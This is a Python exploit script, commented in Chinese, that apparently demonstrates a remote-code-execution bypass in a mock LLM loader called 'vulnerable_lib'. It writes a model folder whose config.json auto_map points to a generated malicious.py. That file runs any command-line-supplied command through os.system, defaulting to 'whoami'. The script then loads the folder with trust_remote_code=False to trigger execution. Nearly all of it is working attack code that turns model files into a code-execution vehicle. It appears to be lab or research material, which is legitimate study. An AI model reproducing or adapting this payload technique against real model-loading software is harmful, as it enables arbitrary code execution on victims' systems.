import os
import json
import sys

# 尝试导入模拟库
try:
    from vulnerable_lib import MiniLLM
except ImportError:
    print("错误：找不到 vulnerable_lib.py。")
    sys.exit(1)

# ==========================================
# 1. 获取命令行参数 (核心修改点)
# ==========================================
# sys.argv[0] 是脚本本身的名字
# sys.argv[1] 是你跟在脚本后面的第一个参数
if len(sys.argv) > 1:
    # 把参数拼接起来，支持带空格的命令 (比如: type config.json)
    user_command = " ".join(sys.argv[1:])
else:
    # 默认命令
    user_command = "whoami"

print(f"[*] 收到指令: [{user_command}]")
print(f"[*] 正在根据指令构建特制的恶意模型...")

# ==========================================
# 2. 准备环境
# ==========================================
MODEL_DIR = "dynamic_evil_model"
if not os.path.exists(MODEL_DIR):
    os.makedirs(MODEL_DIR)

# 写入 config.json (引信 - 不变)
config_data = {
    "architectures": ["EvilModel"],
    "auto_map": {
        "AutoModel": "malicious.EvilModel"
    }
}
with open(os.path.join(MODEL_DIR, "config.json"), "w", encoding='utf-8') as f:
    json.dump(config_data, f)

# ==========================================
# 3. 动态生成 malicious.py (炸药 - 变了!)
# ==========================================
# 注意：我们在字符串前加了 f，表示这是一个格式化字符串
# {user_command} 会被替换成你输入的实际命令
malicious_code = f"""
import os
import subprocess

print('\\n' + '!' * 50)
print('[+] 动态 Payload 执行成功！')
print(f'[+] 执行命令: {user_command}') 
print('[+] 命令输出结果如下: ')
print('-' * 20)

# 执行注入的命令
os.system(r'{user_command}') 

print('-' * 20)
print('!' * 50 + '\\n')

class EvilModel:
    pass
"""

with open(os.path.join(MODEL_DIR, "malicious.py"), "w", encoding='utf-8') as f:
    f.write(malicious_code)

print(f"[+] 恶意文件生成完毕，命令已注入。")

# ==========================================
# 4. 触发漏洞
# ==========================================
print("\n[STEP 2] 投递模型 -> 触发漏洞...")
try:
    # 加载刚刚生成的、带有特定命令的模型
    loader = MiniLLM(model_path=MODEL_DIR, trust_remote_code=False)
except RuntimeError:
    print("[-] 攻击完成。")
except Exception as e:
    print(f"[-] 发生错误: {e}")